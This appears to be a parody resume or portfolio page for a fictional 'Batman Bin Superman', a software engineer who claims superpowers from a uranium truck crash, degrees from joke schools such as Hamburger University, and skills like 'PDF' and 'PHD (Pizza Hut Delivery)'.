ABOUT ME

Hello, my name is Batman Bin Superman. Despite my name, I am not a superhero. Well, unless you count my absolute unit of a mind that could create complex code in the blink of an eye. You see, when I was 10 years old, a truck filled with uranium crash into me. Instead of dying, the uranium fused into my body resulting in my brain power to increase a hundred fold. This newly found power enabled me to create any form of matter from the atoms surrounding me. I use these powers to help companies in need of a software engineer to make the world a better place!

EDUCATION

2020 - 2023

Hamburger University

Master of IT Management

Hamburger University further guided me in the art of the Brain Force. Now, I am fluent in all coding languages including none other than psuedocode.

2016 - 2020

Squidward
Community College

Bachelor of Computer Engineering

Throughout the four years of studying in the prestigious Squidward Community College, I achieved my final form. The Brain Force.

2012 - 2016

Spongebob High
School

Spongebob High School

I was enrolled to Sponggebob High School. An A class high school that helped me perfected my powers and coding skills at a young age.

EXPERIENCE

2023 - Present

BEEFEST Corps

Junior Software Engineer

I LOVE BEEFEST CORPS. I WOULD SACRIFICE MY LIFE FOR BEEFEST CORPSSSSSSSS! I LOVE BEEFEST CORPS!!!

2020 - 2023

McDonald's

Professional Burger Taster

Fun fact: before your burgers are served, there are burger tasters to taste the quality of the burger. What we would do is take a big bite of your burger, analyze the taste, and spit it back out for your order.

SKILLS

- Python
- Java
- SQL
- HTML
- PDF
- DOCX
- PHD (Pizza Hut Delivery)
- PNG
